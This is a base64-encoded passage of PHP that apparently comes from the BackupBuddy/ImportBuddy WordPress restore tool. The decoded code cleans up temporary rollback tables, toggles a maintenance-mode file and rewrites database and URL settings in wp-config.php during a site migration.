k9MTEJBQ0sKCSAqIENsZWFucyB1cCBhbnkgZXhpc3RpbmcgdGVtcCBkYXRhYmFzZSB0YWJsZXMgdGhhdCBleGlzdCBmcm9tIGEgcHJpb3IgZmFpbGVkL2luY29tcGxldGUgcm9sbGJhY2sgdGhhdCBuZWVkIHJlbW92ZWQuCgkgKgoJICovCglwcml2YXRlIGZ1bmN0aW9uIF9wcmlvclJvbGxiYWNrQ2xlYW51cCgpIHsKCQkkdGhpcy0+X2JlZm9yZSggX19GVU5DVElPTl9fICk7CgoJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ0NoZWNraW5nIGZvciBhbnkgcHJpb3IgZmFpbGVkIHJvbGxiYWNrIGRhdGEgdG8gY2xlYW4gdXAuJyApOwoJCWdsb2JhbCAkd3BkYjsKCgkJJHNob3J0U2VyaWFsID0gc3Vic3RyKCAkdGhpcy0+X3N0YXRlWydzZXJpYWwnXSwgMCwgNCApOwoKCQkvLyBORVcgcHJlZml4CgkJJHNxbCA9ICJTRUxFQ1QgdGFibGVfbmFtZSBBUyBgdGFibGVfbmFtZWAgRlJPTSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIFdIRVJFIHRhYmxlX25hbWUgTElLRSAnYmJuZXctIiAuICRzaG9ydFNlcmlhbCAuICJcXyUnIEFORCB0YWJsZV9zY2hlbWEgPSBEQVRBQkFTRSgpIjsKCQkkcmVzdWx0cyA9ICR3cGRiLT5nZXRfcmVzdWx0cyggJHNxbCwgQVJSQVlfQSApOwoJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ0ZvdW5kICcgLiBjb3VudCggJHJlc3VsdHMgKSAuICcgdGFibGVzIHRvIGRyb3Agd2l0aCB0aGUgcHJlZml4IGBiYm5ldy0nIC4gJHNob3J0U2VyaWFsIC4gJ19gLicgKTsKCQkkZHJvcENvdW50ID0gMDsKCQlmb3JlYWNoICggJHJlc3VsdHMgYXMgJHJlc3VsdCApIHsKCQkJaWYgKCBmYWxzZSA9PT0gJHdwZGItPnF1ZXJ5KCAnRFJPUCBUQUJMRSBgJyAuIGJhY2t1cGJ1ZGR5X2NvcmU6OmRiRXNjYXBlKCAkcmVzdWx0Wyd0YWJsZV9uYW1lJ10gKSAuICdgJyApICkgewoJCQkJJHRoaXMtPl9lcnJvciggJ1VuYWJsZSB0byBkZWxldGUgdGFibGUgYCcgLiAkcmVzdWx0Wyd0YWJsZV9uYW1lJ10gLiAnYC4nICk7CgkJCX0gZWxzZSB7CgkJCQkkZHJvcENvdW50Kys7CgkJCX0KCQl9CgkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnRHJvcHBlZCBgJyAuICRkcm9wQ291bnQgLiAnYCBuZXcgdGFibGVzLicgKTsKCgkJLy8gT0xEIHByZWZpeAoJCSRzcWwgPSAiU0VMRUNUIHRhYmxlX25hbWUgQVMgYHRhYmxlX25hbWVgIEZST00gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyBXSEVSRSB0YWJsZV9uYW1lIExJS0UgJ2Jib2xkLSIgLiAkc2hvcnRTZXJpYWwgLiAiXF8lJyBBTkQgdGFibGVfc2NoZW1hID0gREFUQUJBU0UoKSI7CgkJJHJlc3VsdHMgPSAkd3BkYi0+Z2V0X3Jlc3VsdHMoICRzcWwsIEFSUkFZX0EgKTsKCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdGb3VuZCAnIC4gY291bnQoICRyZXN1bHRzICkgLiAnIHRhYmxlcyB0byBkcm9wIHdpdGggdGhlIHByZWZpeCBgYmJvbGQtJyAuICRzaG9ydFNlcmlhbCAuICdfYC4nICk7CgkJJGRyb3BDb3VudCA9IDA7CgkJZm9yZWFjaCAoICRyZXN1bHRzIGFzICRyZXN1bHQgKSB7CgkJCWlmICggZmFsc2UgPT09ICR3cGRiLT5xdWVyeSggJ0RST1AgVEFCTEUgYCcgLiBiYWNrdXBidWRkeV9jb3JlOjpkYkVzY2FwZSggJHJlc3VsdFsndGFibGVfbmFtZSddICkgLiAnYCcgKSApIHsKCQkJCSR0aGlzLT5fZXJyb3IoICdVbmFibGUgdG8gZGVsZXRlIHRhYmxlIGAnIC4gJHJlc3VsdFsndGFibGVfbmFtZSddIC4gJ2AuJyApOwoJCQl9IGVsc2UgewoJCQkJJGRyb3BDb3VudCsrOwoJCQl9CgkJfQoJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ0Ryb3BwZWQgYCcgLiAkZHJvcENvdW50IC4gJ2Agb2xkIHRhYmxlcy4nICk7CgoJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ0ZpbmlzaGVkIHByaW9yIHJvbGxiYWNrIGNsZWFudXAuJyApOwoJfSAvLyBlbmQuCgoKCgkvKiBtYWludGVuYW5jZU9uKCkKCSAqCgkgKiBUdXJuIE9OIFdvcmRQcmVzcyBtYWludGVuYW5jZSBtb2RlLgoJICoKCSAqLwoJcHVibGljIGZ1bmN0aW9uIG1haW50ZW5hbmNlT24oKSB7CgkJJHRoaXMtPl9iZWZvcmUoIF9fRlVOQ1RJT05fXyApOwoKCQkvLyBUdXJuIG9uIG1haW50ZW5hbmNlIG1vZGUuCgkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnVHVybmluZyBvbiBtYWludGVuYW5jZSBtb2RlIG9uLicgKTsKCQlpZiAoICEgZmlsZV9leGlzdHMoIEFCU1BBVEggLiAnLm1haW50ZW5hbmNlJyApICkgewoJCQkkbWFpbnRlbmFuY2VfcmVzdWx0ID0gQGZpbGVfcHV0X2NvbnRlbnRzKCBBQlNQQVRIIC4gJy5tYWludGVuYW5jZScsICI8P3BocCBpZiAoIGVtcHR5KCBcJF9SRVFVRVNUWydhY3Rpb24nXSApIHx8ICdwYl9iYWNrdXBidWRkeV9iYWNrdXBidWRkeScgIT0gXCRfUkVRVUVTVFsnYWN0aW9uJ10gKSB7IGhlYWRlcignSFRUUC8xLjEgNTAzIFNlcnZpY2UgVGVtcG9yYXJpbHkgVW5hdmFpbGFibGUnKTsgaGVhZGVyKCdTdGF0dXM6IDUwMyBTZXJ2aWNlIFRlbXBvcmFyaWx5IFVuYXZhaWxhYmxlJyk7IGhlYWRlcignUmV0cnktQWZ0ZXI6IDM2MDAnKTsgZGllKCAnU2l0ZSB1bmRlcmdvaW5nIG1haW50ZW5hbmNlLicgKTsgfSIgKTsKCQkJaWYgKCBmYWxzZSA9PT0gJG1haW50ZW5hbmNlX3Jlc3VsdCApIHsKCQkJCSR0aGlzLT5fZXJyb3IoICcubWFpbnRlbmFuY2UgZmlsZSB1bmFibGUgdG8gYmUgZ2VuZXJhdGVkIHRvIHByZXZlbnQgdmlld2luZy4nICk7CgkJCQlyZXR1cm4gZmFsc2U7CgkJCX0gZWxzZSB7CgkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICcubWFpbnRlbmFuY2UgZmlsZSBnZW5lcmF0ZWQgdG8gcHJldmVudCB2aWV3aW5nIHBhcnRpYWxseSBtaWdyYXRlZCBzaXRlLicgKTsKCQkJfQoJCX0gZWxzZSB7CgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJy5tYWludGVuYW5jZSBmaWxlIGFscmVhZHkgZXhpc3RzLiBTa2lwcGluZyBjcmVhdGlvbi4nICk7CgkJfQoJCXJldHVybiB0cnVlOwoJfSAvLyBFbmQgbWFpbnRlbmFuY2VPbigpLgoKCgoJLyogbWFpbnRlbmFuY2VPZmYoKQoJICoKCSAqIFR1cm4gT0ZGIFdvcmRQcmVzcyBtYWludGVuYW5jZSBtb2RlLgoJICoKCSAqLwoJcHVibGljIGZ1bmN0aW9uIG1haW50ZW5hbmNlT2ZmKCAkb25seURlbGV0ZU91ckZpbGUgPSBmYWxzZSApIHsKCQkkdGhpcy0+X2JlZm9yZSggX19GVU5DVElPTl9fICk7CgoJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ1R1cm4gb2ZmIG1haW50ZW5hbmNlIG1vZGUgb2ZmIGlmIG9uLicgKTsKCQlpZiAoIGZpbGVfZXhpc3RzKCBBQlNQQVRIIC4gJy5tYWludGVuYW5jZScgKSApIHsKCgkJCWlmICggZmFsc2UgPT09ICRvbmx5RGVsZXRlT3VyRmlsZSApIHsKCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJy5tYWludGVuYW5jZSBmaWxlIGV4aXN0cy4gRGVsZXRpbmcgd2hldGhlciBpbXBvcnRidWRkeS1jcmVhdGVkIG9yIG5vdC4uLicgKTsKCQkJCWlmICggZmFsc2UgPT09IEB1bmxpbmsoIEFCU1BBVEggLiAnLm1haW50ZW5hbmNlJyApICkgewoJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdlcnJvcicsICdVbmFibGUgdG8gZGVsZXRlIHRlbXBvcmFyeSAubWFpbnRlbmFuY2UgZmlsZS4gIFRoaXMgaXMgbGlrZWx5IGR1ZSB0byBwZXJtaXNzaW9ucy4gWW91IG1heSBuZWVkIHRvIG1hbnVhbGx5IGRlbGV0ZSBpdCB0byB2aWV3IHlvdXIgc2l0ZS4nICk7CgkJCQkJJHRoaXMtPl9lcnJvciggJ1VuYWJsZSB0byBkZWxldGUgLm1haW50ZW5hbmNlIGZpbGUuJyApOwoJCQkJfSBlbHNlIHsKCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICcubWFpbnRlbmFuY2UgZmlsZSBkZWxldGVkIHdoZXRoZXIgaW1wb3J0YnVkZHktY3JlYXRlZCBvciBub3QuJyApOwoJCQkJfQoJCQl9IGVsc2UgeyAvLyBTZWUgaWYgSW1wb3J0QnVkZHkgY3JlYXRlZCBpdCBiZWZvcmUgZGVsZXRpbmcuCgoJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnLm1haW50ZW5hbmNlIGZpbGUgZXhpc3RzLiBDaGVja2luZyB0byBzZWUgaWYgSW1wb3J0QnVkZHkgZ2VuZXJhdGVkIGl0LicgKTsKCQkJCSRtYWludGVuYW5jZV9jb250ZW50cyA9IEBmaWxlX2dldF9jb250ZW50cyggQUJTUEFUSCAuICcubWFpbnRlbmFuY2UnICk7CgkJCQlpZiAoIGZhbHNlID09PSAkbWFpbnRlbmFuY2VfY29udGVudHMgKSB7IC8vIENhbm5vdCByZWFkLgoJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdlcnJvcicsICcubWFpbnRlbmFuY2UgZmlsZSB1bnJlYWRhYmxlLiBZb3UgbWF5IG5lZWQgdG8gbWFudWFsbHkgZGVsZXRlIGl0IHRvIHZpZXcgeW91ciBzaXRlLicgKTsKCQkJCX0gZWxzZSB7IC8vIFJlYWQgZmlsZSBzdWNjZWVkZWQuCgkJCQkJaWYgKCB0cmltKCAkbWFpbnRlbmFuY2VfY29udGVudHMgKSA9PSAiPD9waHAgaWYgKCBlbXB0eSggXCRfUkVRVUVTVFsnYWN0aW9uJ10gKSB8fCAncGJfYmFja3VwYnVkZHlfYmFja3VwYnVkZHknICE9IFwkX1JFUVVFU1RbJ2FjdGlvbiddICkgeyBoZWFkZXIoJ0hUVFAvMS4xIDUwMyBTZXJ2aWNlIFRlbXBvcmFyaWx5IFVuYXZhaWxhYmxlJyk7IGhlYWRlcignU3RhdHVzOiA1MDMgU2VydmljZSBUZW1wb3JhcmlseSBVbmF2YWlsYWJsZScpOyBoZWFkZXIoJ1JldHJ5LUFmdGVyOiAzNjAwJyk7IGRpZSggJ1NpdGUgdW5kZXJnb2luZyBtYWludGVuYW5jZS4nICk7IH0iICkgeyAvLyBPdXIgZmlsZS4gRGVsZXRlIGl0IQoJCQkJCQkkbWFpbnRlbmFuY2VfdW5saW5rID0gQHVubGluayggQUJTUEFUSCAuICcubWFpbnRlbmFuY2UnICk7CgkJCQkJCWlmICggdHJ1ZSA9PT0gJG1haW50ZW5hbmNlX3VubGluayApIHsKCQkJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ1RlbXBvcmFyeSAubWFpbnRlbmFuY2UgZmlsZSBjcmVhdGVkIGJ5IEltcG9ydEJ1ZGR5IHN1Y2Nlc3NmdWxseSBkZWxldGVkLicgKTsKCQkJCQkJfSBlbHNlIHsKCQkJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdlcnJvcicsICdVbmFibGUgdG8gZGVsZXRlIHRlbXBvcmFyeSAubWFpbnRlbmFuY2UgZmlsZS4gIFRoaXMgaXMgbGlrZWx5IGR1ZSB0byBwZXJtaXNzaW9ucy4gWW91IG1heSBuZWVkIHRvIG1hbnVhbGx5IGRlbGV0ZSBpdCB0byB2aWV3IHlvdXIgc2l0ZS4nICk7CgkJCQkJCX0KCQkJCQl9IGVsc2UgeyAvLyBOb3Qgb3VyIGZpbGUuIExlYXZlIGFsb25lLiBXZSB3aWxsIHdhcm4gYWJvdXQgdGhpcyBsYXRlciB0aG91Z2guCgkJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJy5tYWludGVuYW5jZSBmaWxlIG5vdCBnZW5lcmF0ZWQgYnkgSW1wb3J0QnVkZHkuIExlYXZpbmcgYXMgaXMuIFlvdSBtYXkgbmVlZCB0byBkZWxldGUgaXQgdG8gdmlldyB5b3VyIHNpdGUuJyApOwoJCQkJCX0KCQkJCX0KCQkJfQoJCX0gZWxzZSB7CgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJy5tYWludGVuYW5jZSBmaWxlIGRvZXMgbm90IGV4aXN0LicgKTsKCQl9Cgl9IC8vIEVuZCBtYWludGVuYW5jZU9mZigpLgoKCgoJLyoqCgkgKiAgbWlncmF0ZVdwQ29uZmlnKCkKCSAqCgkgKiAgQHJldHVybiAgICAgdHJ1ZSBvbiBzdWNjZXNzLCBuZXcgd3AgY29uZmlnIGZpbGUgY29udGVudCBvbiBmYWlsdXJlLgoJICovCglmdW5jdGlvbiBtaWdyYXRlV3BDb25maWcoKSB7CgkJaWYgKCAnZGVwbG95JyA9PSAkdGhpcy0+X3N0YXRlWyd0eXBlJ10gKSB7CgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ1NraXBwaW5nIHdwLWNvbmZpZy5waHAgbWlncmF0aW9uIGR1ZSB0byBiZWluZyBEZXBsb3ltZW50LicgKTsKCQkJcmV0dXJuIHRydWU7CgkJfQoJCWlmICggaXNzZXQoICR0aGlzLT5fc3RhdGVbJ2RhdCddWyd3cC1jb25maWdfaW5fcGFyZW50J10gKSApIHsKCQkJaWYgKCAkdGhpcy0+X3N0YXRlWydkYXQnXVsnd3AtY29uZmlnX2luX3BhcmVudCddID09PSB0cnVlICkgeyAvLyB3cC1jb25maWcucGhwIHVzZWQgdG8gYmUgaW4gcGFyZW50LiBNdXN0IGNvcHkgZnJvbSB0ZW1wIGRpciB0byByb290LgoJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnREFUIGZpbGUgaW5kaWNhdGVzIHdwLWNvbmZpZy5waHAgd2FzIHByZXZpb3VzbHkgaW4gdGhlIHBhcmVudCBkaXJlY3RvcnkuIENvcHlpbmcgaW50byBzaXRlIHJvb3QuJyApOwoKCQkJCSRjb25maWdfc291cmNlID0gQUJTUEFUSCAuICd3cC1jb250ZW50L3VwbG9hZHMvYmFja3VwYnVkZHlfdGVtcC8nIC4gJHRoaXMtPl9zdGF0ZVsnc2VyaWFsJ10gLiAnL3dwLWNvbmZpZy5waHAnOwoJCQkJJHJlc3VsdCA9IGNvcHkoICRjb25maWdfc291cmNlLCBBQlNQQVRIIC4gJ3dwLWNvbmZpZy5waHAnICk7CgkJCQlpZiAoICRyZXN1bHQgPT09IHRydWUgKSB7CgkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ21lc3NhZ2UnLCAnd3AtY29uZmlnLnBocCBmaWxlIHdhcyByZXN0b3JlZCB0byB0aGUgcm9vdCBvZiB0aGUgc2l0ZSBgJyAuIEFCU1BBVEggLiAnd3AtY29uZmlnLnBocGAuIEl0IHdhcyBwcmV2aW91c2x5IGluIHRoZSBwYXJlbnQgZGlyZWN0b3J5IG9mIHRoZSBzb3VyY2Ugc2l0ZS4gWW91IG1heSBtb3ZlIGl0IG1hbnVhbGx5IHRvIHRoZSBwYXJlbnQgZGlyZWN0b3J5LicgKTsKCQkJCX0gZWxzZSB7CgkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2Vycm9yJywgJ1VuYWJsZSB0byBtb3ZlIHdwLWNvbmZpZy5waHAgZmlsZSBmcm9tIHRlbXBvcmFyeSBsb2NhdGlvbiBgJyAuICRjb25maWdfc291cmNlIC4gJ2AgdG8gcm9vdC4nICk7CgkJCQl9CgkJCX0gZWxzZSB7IC8vIHdwLWNvbmZpZy5waHAgd2FzIGluIG5vcm1hbCBsb2NhdGlvbiBvbiBzb3VyY2Ugc2l0ZS4gTm90aGluZyB0byBkby4KCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ0RBVCBmaWxlIGluZGljYXRlcyB3cC1jb25maWcucGhwIHdhcyBwcmV2aW91c2x5IGluIHRoZSBub3JtYWwgbG9jYXRpb24uJyApOwoJCQl9CgkJfSBlbHNlIHsgLy8gUHJlIDMuMCBiYWNrdXAKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnQmFja3VwIHByZS12My4wIHNvIHdwLWNvbmZpZy5waHAgbXVzdCBiZSBpbiBub3JtYWwgbG9jYXRpb24uJyApOwoJCX0KCgkJaWYgKCAnZmlsZXMnID09ICR0aGlzLT5fc3RhdGVbJ2RhdCddWydiYWNrdXBfdHlwZSddICkgewoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdTa2lwcGluZyB1cGRhdGUgb2YgRGF0YWJhc2UgU2V0dGluZ3MgYW5kIFVSTHMgaW4gd3AtY29uZmlnLnBocCBhcyB0aGlzIGlzIGEgRmlsZXMgT25seSBCYWNrdXAuJyApOwoJCQkkbWlncmF0ZVJlc3VsdCA9IHRydWU7CgkJfSBlbHNlIHsKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnVXBkYXRpbmcgRGF0YWJhc2UgU2V0dGluZ3MgYW5kIFVSTHMgaW4gd3AtY29uZmlnLnBocCBhcyB0aGlzIGlzIG5vdCBhIEZpbGVzIE9ubHkgQmFja3VwLicgKTsKCQkJJG1pZ3JhdGVSZXN1bHQgPSAkdGhpcy0+X21pZ3JhdGVXcENvbmZpZ0dydW50d29yaygpOwoJCX0KCQlyZXR1cm4gJG1pZ3JhdGVSZXN1bHQ7Cgl9IC8vIEVuZCBtaWdyYXRlV3BDb25maWcoKS4KCgoKCS8qKgoJICogIF9taWdyYXRlV3BDb25maWdHcnVudHdvcmsoKQoJICoKCSAqICBNaWdyYXRlcyBhbmQgdXBkYXRlcyB0aGUgd3AtY29uZmlnLnBocCBmaWxlIGNvbnRlbnRzIGFzIG5lZWRlZC4KCSAqCgkgKiAgQHJldHVybiAgICAgICAgIHRydWV8c3RyaW5nICAgICAgICAgVHJ1ZSBvbiBzdWNjZXNzLiBPbiBmYWxzZSByZXR1cm5zIHRoZSBuZXcgd3AtY29uZmlnIGZpbGUgY29udGVudC4KCSAqLwoJZnVuY3Rpb24gX21pZ3JhdGVXcENvbmZpZ0dydW50d29yaygpIHsKCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnbWVzc2FnZScsICdTdGFydGluZyBtaWdyYXRpb24gb2Ygd3AtY29uZmlnLnBocCBmaWxlLi4uJyApOwoKCQlwYl9iYWNrdXBidWRkeTo6Zmx1c2goKTsKCgkJJGNvbmZpZ0ZpbGUgPSBBQlNQQVRIIC4gJ3dwLWNvbmZpZy5waHAnOwoJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ0NvbmZpZyBmaWxlOiBgJyAuICRjb25maWdGaWxlIC4gJ2AuJyApOwoKCQlpZiAoIGZpbGVfZXhpc3RzKCAkY29uZmlnRmlsZSApICkgewoJCQkvLyBVc2VmdWwgUkVHRVggc2l0ZTogaHR0cDovL2dza2lubmVyLmNvbS9SZWdFeHIvCgoJCQkkdXBkYXRlZF9ob21lX3VybCA9IGZhbHNlOwoJCQkkd3BfY29uZmlnICAgICAgICA9IGFycmF5KCk7CgkJCSRsaW5lcyAgICAgICAgICAgID0gZmlsZSggJGNvbmZpZ0ZpbGUgKTsKCQkJJG9yaWdpbmFsX2xpbmVzICAgPSAkbGluZXM7CgoJCQkkcGF0dGVybnMgICAgICAgICA9IGFycmF5KCk7CgkJCSRyZXBsYWNlbWVudHMgICAgID0gYXJyYXkoKTsKCgkJCS8qCgkJCVVwZGF0ZSBXUF9TSVRFVVJMLCBXUF9IT01FIGlmIHRoZXkgZXhpc3QuCgkJCVVwZGF0ZSBkYXRhYmFzZSBEQl9OQU1FLCBEQl9VU0VSLCBEQl9QQVNTV09SRCwgYW5kIERCX0hPU1QuCgkJCVJlZ0V4cDogL2RlZmluZVwoW1xzXSooJ3wiKVdQX1NJVEVVUkwoJ3wiKSxbXHNdKignfCIpKC4pKignfCIpW1xzXSpcKTsvZ2kKCQkJcGF0dGVybjogZGVmaW5lXChbXHNdKignfCIpV1BfU0lURVVSTCgnfCIpLFtcc10qKCd8IikoLikqKCd8IilbXHNdKlwpOwoJCQkqLwoJCQkkV1BfU0lURV9VUkwgPSBwYl9pc19zdGFuZGFsb25lKCkgPyBpdF9idWJfaW1wb3J0YnVkZHlfYXBwbHlfZmlsdGVycyggJ2NvbmZpZ19jb25zdGFudF9zaXRldXJsJywgJHRoaXMtPl9zdGF0ZVsnc2l0ZXVybCddICkgOiAkdGhpcy0+X3N0YXRlWydzaXRldXJsJ107CgkJCSRXUF9IT01FICAgICA9IHBiX2lzX3N0YW5kYWxvbmUoKSA/IGl0X2J1Yl9pbXBvcnRidWRkeV9hcHBseV9maWx0ZXJzKCAnY29uZmlnX2NvbnN0YW50X2hvbWUnLCAkdGhpcy0+X3N0YXRlWydob21ldXJsJ10gKSA6ICR0aGlzLT5fc3RhdGVbJ2hvbWV1cmwnXTsKCgkJCSRwYXR0ZXJuWzBdID0gJy9kZWZpbmVcKFtcc10qKFwnfCIpV1BfU0lURVVSTChcJ3wiKSxbXHNdKihcJ3wiKSguKSooXCd8IilbXHNdKlwpOy9pJzsKCQkJJHJlcGxhY2VbMF0gPSAiZGVmaW5lKCAnV1BfU0lURVVSTCcsICciIC4gdHJpbSggJFdQX1NJVEVfVVJMLCAnLycgKSAuICInICk7IjsKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnd3AtY29uZmlnLnBocDogU2V0dGluZyBXUF9TSVRFVVJMIChpZiBhcHBsaWNhYmxlKSB0byBgJyAuIHRyaW0oICRXUF9TSVRFX1VSTCwgJy8nICkgLiAnYC4nICk7CgkJCSRwYXR0ZXJuWzFdID0gJy9kZWZpbmVcKFtcc10qKFwnfCIpV1BfSE9NRShcJ3wiKSxbXHNdKihcJ3wiKSguKSooXCd8IilbXHNdKlwpOy9pJzsKCQkJJHJlcGxhY2VbMV0gPSAiZGVmaW5lKCAnV1BfSE9NRScsICciIC4gdHJpbSggJFdQX0hPTUUsICcvJyApIC4gIicgKTsiOwoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICd3cC1jb25maWcucGhwOiBTZXR0aW5nIFdQX0hPTUUgKGlmIGFwcGxpY2FibGUpIHRvIGAnIC4gdHJpbSggJFdQX0hPTUUsICcvJyApIC4gJ2AuJyApOwoKCQkJJHBhdHRlcm5bMl0gPSAnL2RlZmluZVwoW1xzXSooXCd8IilEQl9OQU1FKFwnfCIpLFtcc10qKFwnfCIpKC4pKihcJ3wiKVtcc10qXCk7L2knOwoJCQkkcmVwbGFjZVsyXSA9ICJkZWZpbmUoICdEQl9OQU1FJywgJyIgLiAkdGhpcy0+X3N0YXRlWydkYXRhYmFzZVNldHRpbmdzJ11bJ2RhdGFiYXNlJ10gLiAiJyApOyI7CgkJCSRwYXR0ZXJuWzNdID0gJy9kZWZpbmVcKFtcc10qKFwnfCIpREJfVVNFUihcJ3wiKSxbXHNdKihcJ3wiKSguKSooXCd8IilbXHNdKlwpOy9pJzsKCQkJJHJlcGxhY2VbM10gPSAiZGVmaW5lKCAnREJfVVNFUicsICciIC4gJHRoaXMtPl9zdGF0ZVsnZGF0YWJhc2VTZXR0aW5ncyddWyd1c2VybmFtZSddIC4gIicgKTsiOwoJCQkkcGF0dGVybls0XSA9ICcvZGVmaW5lXChbXHNdKihcJ3wiKURCX1BBU1NXT1JEKFwnfCIpLFtcc10qKFwnfCIpKC4pKihcJ3wiKVtcc10qXCk7L2knOwoJCQkkcmVwbGFjZVs0XSA9ICJkZWZpbmUoICdEQl9QQVNTV09SRCcsICciIC4gJHRoaXMtPl9wcmVnX2VzY2FwZV9iYWNrKCAkdGhpcy0+X3N0YXRlWydkYXRhYmFzZVNldHRpbmdzJ11bJ3Bhc3N3b3JkJ10gKSAuICInICk7IjsKCQkJJHBhdHRlcm5bNV0gPSAnL2RlZmluZVwoW1xzXSooXCd8IilEQl9IT1NUKFwnfCIpLFtcc10qKFwnfCIpKC4pKihcJ3wiKVtcc10qXCk7L2knOwoJCQkkcmVwbGFjZVs1XSA9ICJkZWZpbmUoICdEQl9IT1NUJywgJyIgLiAkdGhpcy0+X3N0YXRlWydkYXRhYmFzZVNldHRpbmdzJ11bJ3NlcnZlciddIC4gIicgKTsiOwoKCQkJLy8gSWYgbXVsdGlzaXRlLCB1cGRhdGUgZG9tYWluLgoJCQlpZiAoIGlzc2V0KCBwYl9iYWNrdXBidWRkeTo6JG9wdGlvbnNbJ2RvbWFpbiddICkgJiYgKCBwYl9iYWNrdXBidWRkeTo6JG9wdGlvbnNbJ2RvbWFpbiddICE9ICcnICkgKSB7CgkJCQkkcGF0dGVybls2XSA9ICcvZGVmaW5lXChbXHNdKihcJ3wiKURPTUFJTl9DVVJSRU5UX1NJVEUoXCd8IiksW1xzXSooXCd8IikoLikqKFwnfCIpW1xzXSpcKTsvaSc7CgkJCQkkcmVwbGFjZVs2XSA9ICJkZWZpbmUoICdET01BSU5fQ1VSUkVOVF9TSVRFJywgJyIgLiAkdGhpcy0+X3N0YXRlWydkZWZhdWx0RG9tYWluJ10gLiAiJyApOyI7CgkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICd3cC1jb25maWcucGhwOiBTZXR0aW5nIERPTUFJTl9DVVJSRU5UX1NJVEUgKGlmIGFwcGxpY2FibGUpIHRvIGAnIC4gJHRoaXMtPl9zdGF0ZVsnZGF0YWJhc2VTZXR0aW5ncyddWydkZWZhdWx0RG9tYWluJ10gLiAnYC4nICk7CgkJCX0gZWxzZSB7CgkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICd3cC1jb25maWcucGhwIGRpZCBub3QgdXBkYXRlIERPTUFJTl9DVVJSRU5UX1NJVEUgYXMgaXQgd2FzIGJsYW5rLicgKTsKCQkJfQoJCQkvKgoJCQlVcGRhdGUgdGFibGUgcHJlZml4LgoJCQlSZWdFeHA6IC9cJHRhYmxlX3ByZWZpeFtcc10qPVtcc10qKCd8IikoLikqKCd8Iik7L2dpCgkJCXBhdHRlcm46IFwkdGFibGVfcHJlZml4W1xzXSo9W1xzXSooJ3wiKSguKSooJ3wiKTsKCQkJKi8KCQkJJHBhdHRlcm5bN10gPSAnL1wkdGFibGVfcHJlZml4W1xzXSo9W1xzXSooXCd8IikoLikqKFwnfCIpOy9pJzsKCQkJJHJlcGxhY2VbN10gPSAnJHRhYmxlX3ByZWZpeCA9IFwnJyAuICR0aGlzLT5fc3RhdGVbJ2RhdGFiYXNlU2V0dGluZ3MnXVsncHJlZml4J10gLiAnXCc7JzsKCgkJCWlmICggaXNzZXQoICR0aGlzLT5fc3RhdGVbJ2RhdCddWyd3cF9jb250ZW50X3VybCddICkgKSB7CgkJCQkkbmV3X2NvbnRlbnRfdXJsID0gc3RyX3JlcGxhY2UoIHRyaW0oICR0aGlzLT5fc3RhdGVbJ2RhdCddWydzaXRldXJsJ10sICdcXC8nICksIHRyaW0oICR0aGlzLT5fc3RhdGVbJ3NpdGV1cmwnXSwgJy8nICksICR0aGlzLT5fc3RhdGVbJ2RhdCddWyd3cF9jb250ZW50X3VybCddICk7CgkJCQkkcGF0dGVybls4XSA9ICcvZGVmaW5lXChbXHNdKihcJ3wiKVdQX0NPTlRFTlRfVVJMKFwnfCIpLFtcc10qKFwnfCIpKC4pKihcJ3wiKVtcc10qXCk7L2knOwoJCQkJJHJlcGxhY2VbOF0gPSAiZGVmaW5lKCAnV1BfQ09OVEVOVF9VUkwnLCAnIiAuICRuZXdfY29udGVudF91cmwgLiAiJyApOyI7CgkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICd3cC1jb25maWcucGhwOiBTZXR0aW5nIFdQX0NPTlRFTlR